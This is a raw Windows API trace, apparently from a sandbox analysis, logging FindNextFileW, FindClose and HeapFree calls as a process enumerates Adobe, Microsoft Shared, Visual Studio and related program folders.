	[0179.105] FindNextFileW (in: hFindFile=0x4140ad8, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33fd1a84, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ff7cf7, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ff7cf7, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 0
	[0179.105] FindClose (in: hFindFile=0x4140ad8 | out: hFindFile=0x4140ad8) returned 1
	[0179.105] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42929a0 | out: hHeap=0x5a0000) returned 1
	[0179.106] FindNextFileW (in: hFindFile=0x4141018, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb637df00, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x33f12e85, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb637df00, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0xa, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Dummy.aff", cAlternateFileName="")) returned 1
	[0179.106] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0179.106] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3401df50, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3401df50, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB", cAlternateFileName="")) returned 1
	[0179.106] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0179.106] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1
	[0179.107] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4185fe0 | out: hHeap=0x5a0000) returned 1
	[0179.107] FindNextFileW (in: hFindFile=0x4140d98, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x340441b0, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 0
	[0179.107] FindClose (in: hFindFile=0x4140d98 | out: hFindFile=0x4140d98) returned 1
	[0179.107] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x424fbb8 | out: hHeap=0x5a0000) returned 1
	[0179.107] FindNextFileW (in: hFindFile=0x4141018, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3401df50, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x340441b0, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x340441b0, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SupplementalDictionaries", cAlternateFileName="SUPPLE~1")) returned 0
	[0179.107] FindClose (in: hFindFile=0x4141018 | out: hFindFile=0x4141018) returned 1
	[0179.107] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4282998 | out: hHeap=0x5a0000) returned 1
	[0179.107] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374e918 | out: lpFindFileData=0x374e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3401df50, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3401df50, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeHunspellPlugin", cAlternateFileName="ADOBEH~1")) returned 0
	[0179.107] FindClose (in: hFindFile=0x4140a58 | out: hFindFile=0x4140a58) returned 1
	[0179.107] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4272990 | out: hHeap=0x5a0000) returned 1
	[0179.171] FindNextFileW (in: hFindFile=0x4140e18, lpFindFileData=0x374eb94 | out: lpFindFileData=0x374eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Plugins2", cAlternateFileName="")) returned 0
	[0179.171] FindClose (in: hFindFile=0x4140e18 | out: hFindFile=0x4140e18) returned 1
	[0179.171] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0179.171] FindNextFileW (in: hFindFile=0x4140c98, lpFindFileData=0x374ee10 | out: lpFindFileData=0x374ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f3911d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Providers", cAlternateFileName="PROVID~1")) returned 0
	[0179.171] FindClose (in: hFindFile=0x4140c98 | out: hFindFile=0x4140c98) returned 1
	[0179.171] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0179.174] FindNextFileW (in: hFindFile=0x4140b58, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33f3911d, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33f3911d, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 0
	[0179.174] FindClose (in: hFindFile=0x4140b58 | out: hFindFile=0x4140b58) returned 1
	[0179.174] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0179.174] FindNextFileW (in: hFindFile=0x4140d58, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DC", cAlternateFileName="")) returned 0
	[0179.174] FindClose (in: hFindFile=0x4140d58 | out: hFindFile=0x4140d58) returned 1
	[0179.174] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41f0448 | out: hHeap=0x5a0000) returned 1
	[0179.176] FindNextFileW (in: hFindFile=0x4140798, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ea075c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x33ea075c, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x33ea075c, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Reader", cAlternateFileName="")) returned 0
	[0179.176] FindClose (in: hFindFile=0x4140798 | out: hFindFile=0x4140798) returned 1
	[0179.176] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0179.176] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4212bcb0, ftCreationTime.dwHighDateTime=0x1d56e9e, ftLastAccessTime.dwLowDateTime=0x6845f6d0, ftLastAccessTime.dwHighDateTime=0x1d5da42, ftLastWriteTime.dwLowDateTime=0x6845f6d0, ftLastWriteTime.dwHighDateTime=0x1d5da42, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="explicit.exe", cAlternateFileName="")) returned 1
	[0179.177] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0179.177] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xb2fe5e18, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xbb68653c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xb300c058, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 0
	[0179.177] FindClose (in: hFindFile=0x41401d8 | out: hFindFile=0x41401d8) returned 1
	[0179.177] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x423fbb0 | out: hHeap=0x5a0000) returned 1
	[0179.177] FindNextFileW (in: hFindFile=0x4140558, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb686ce0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4a0e1ac1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1
	[0179.177] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0179.177] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9bdfed90, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x9bdfed90, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Ink", cAlternateFileName="")) returned 1
	[0179.248] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0179.248] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb6f87c2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="HWRCUS~1")) returned 1
	[0179.248] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0179.248] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c391299, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6c391299, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6c391299, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4b200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1
	[0179.249] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0179.249] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a0e1ac1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a0e1ac1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a0e1ac1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSEnv", cAlternateFileName="")) returned 1
	[0179.306] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0179.306] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a0e1ac1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a0e1ac1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a0e1ac1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublicAssemblies", cAlternateFileName="PUBLIC~1")) returned 0
	[0179.306] FindClose (in: hFindFile=0x41401d8 | out: hFindFile=0x41401d8) returned 1
	[0179.306] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0179.306] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb76134e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7124ead2, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSInfo", cAlternateFileName="")) returned 1
	[0179.310] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0179.310] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47f4006c, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x16fbff39, ftLastAccessTime.dwHighDateTime=0x1d2fa0d, ftLastWriteTime.dwLowDateTime=0x47f4006c, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x52a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1
	[0179.310] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0179.310] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb7edc75, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a6c1993, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1
	[0179.324] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0179.324] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb7ef366, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TextConv", cAlternateFileName="")) returned 1
	[0179.337] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0179.337] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7f058c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
	[0179.337] FindClose (in: hFindFile=0x41401d8 | out: hFindFile=0x41401d8) returned 1
	[0179.337] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0179.337] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7f130f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Triedit", cAlternateFileName="")) returned 1
	[0179.337] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0179.337] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbb7f1d88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
	[0179.337] FindClose (in: hFindFile=0x41401d8 | out: hFindFile=0x41401d8) returned 1
	[0179.337] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0179.337] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa0004713, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xbb85e523, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2b77ba12, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VC", cAlternateFileName="")) returned 1
	[0179.344] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0179.344] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6affe800, ftCreationTime.dwHighDateTime=0x1cbd078, ftLastAccessTime.dwLowDateTime=0xc8458b03, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x6affe800, ftLastWriteTime.dwHighDateTime=0x1cbd078, nFileSizeHigh=0x0, nFileSizeLow=0xc3350, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1
	[0179.344] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0179.344] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb8602cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7124ead2, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VGX", cAlternateFileName="")) returned 1
	[0179.344] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4195fe8 | out: hHeap=0x5a0000) returned 1
	[0179.344] FindNextFileW (in: hFindFile=0x4140698, lpFindFileData=0x374f584 | out: lpFindFileData=0x374f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e4284c2, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTA", cAlternateFileName="")) returned 1
	[0179.351] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0179.351] FindNextFileW (in: hFindFile=0x4141018, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4ab761b2, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ab761b2, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ab761b2, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.VisualStudio.Tools.Office.AppInfoDocument", cAlternateFileName="MICROS~1.APP")) returned 0
	[0179.351] FindClose (in: hFindFile=0x4141018 | out: hFindFile=0x4141018) returned 1
	[0179.351] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0179.351] FindNextFileW (in: hFindFile=0x41401d8, lpFindFileData=0x374f308 | out: lpFindFileData=0x374f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3e47494b, ftCreationTime.dwHighDateTime=0x1d32747, ftLastAccessTime.dwLowDateTime=0x4a7e2a6f, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a7e2a6f, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pipeline.v10.0", cAlternateFileName="PIPELI~1.0")) returned 1
	[0179.602] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0179.602] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a7e2a6f, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4abc2635, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4abc2635, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AddInViews", cAlternateFileName="ADDINV~1")) returned 1
	[0179.722] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0179.722] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a107d7a, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a1c6876, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a1c6876, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Contracts", cAlternateFileName="CONTRA~1")) returned 1
	[0179.736] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0179.736] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4a74a126, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4a8ed9d5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4a8ed9d5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HostSideAdapters", cAlternateFileName="HOSTSI~1")) returned 1
	[0179.758] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0179.758] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374f08c | out: lpFindFileData=0x374f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87198d61, ftCreationTime.dwHighDateTime=0x1d47c35, ftLastAccessTime.dwLowDateTime=0xe276ff4f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x87362941, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x1fdc1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PipelineSegments.store", cAlternateFileName="PIPELI~1.STO")) returned 1
	[0179.759] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
